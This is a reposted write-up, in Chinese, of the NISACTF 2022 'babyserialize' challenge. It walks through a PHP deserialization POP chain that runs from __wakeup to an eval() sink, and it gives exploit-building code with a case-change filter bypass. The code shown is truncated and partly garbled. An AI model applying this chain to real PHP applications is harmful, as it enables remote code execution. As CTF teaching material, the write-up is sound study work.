文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

关于[NISACTF 2022]babyserialize详解

2023-09-12 14:18

关注

前言

先甩出PHP的魔术方法。

__invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法__construst():具有构造函数的类在创建新对象的时候,回调此方法__destruct():反序列化的时候,或者对象销毁的时候调用__wakeup():反序列化的时候调用__sleep():序列化的时候调用__toString():把类当成字符串的时候调用,一般在echo处生效__set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用__get():读取不可访问或者不存在的属性的时候,进行赋值__call():在对象中调用一个不可访问的方法的时候,会被执行

题解

对于反序列化pop链进行分析的时候,我喜欢去进行反推处理,我感觉比正推容易很多,这里也是推荐给大家一个方法去进行反推。

代码

fun=="show_me_flag"){            hint();        }    }    function __call($from,$val){        $this->fun=$val[0];    }    public function __toString()    {        echo $this->fun;        return " ";    }    public function __invoke()    {        checkcheck($this->txw4ever);        @eval($this->txw4ever);    }}class TianXiWei{    public $ext;    public $x;    public function __wakeup()    {        $this->ext->nisa($this->x);    }}class Ilovetxw{    public $huang;    public $su;    public function __call($fun1,$arg){        $this->huang->fun=$arg[0];    }    public function __toString(){        $bb = $this->su;        return $bb();    }}class four{    public $a="TXW4EVER";    private $fun='abc';    public function __set($name, $value)    {        $this->$name=$value;        if ($this->fun = "sixsixsix"){            strtolower($this->a);        }    }}if(isset($_GET['ser'])){    @unserialize($_GET['ser']);}else{    highlight_file(__FILE__);}

解题思路

(1)eval反推到__invoke

这里先看到eval,而eval中的变量可控,所以肯定是代码执行,而eval又在__invoke魔术方法中。

__invoke魔术方法是对象被当做函数进行调用的时候所触发

这里就反推看哪里用到了类似$a()这种的。

(2)__invoke反推到__toString

在Ilovetxw类的toString方法中,返回了return $bb;

__ToString方法,是对象被当做字符串的时候进行自动调用

(3)__toString反推到__set

在four的__set中,调用了strolower方法。如果不清楚,可以具体看下文档。
在这里插入图片描述这里就可以存在把对象当做字符串进行操作。

(4)从__set反推到__call

__set:对不存在或者不可访问的变量进行赋值就自动调用__call:对不存在的方法或者不可访问的方法进行调用就自动调用

这里反推到Ilovetxw中的__call方法,而__call方法又可直接反推回pop链入口函数__wakeup

思路总结图解

在这里插入图片描述

构造exp

ext=new ilovetxw;$a->ext->huang=new four;$a->ext->huang->a=new ilovetxw;$a->ext->huang->a->su=new nisa;echo urlencode(serialize($a));

发现something wrong…
这里进行常规大小写转换,就可以绕过

ext=new ilovetxw;$a->ext->huang=new four;$a->ext->huang->a=new ilovetxw;$a->ext->huang->a->su=new nisa;echo urlencode(serialize($a));

就可以读到flag

总结

这道题还是对pop链的构造的一个深入了解,考了一个eval代码执行的小trick技巧,也是比较简单,总体来说,不太复杂,较为基础。

来源地址:https://blog.csdn.net/weixin_57222016/article/details/124620719

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯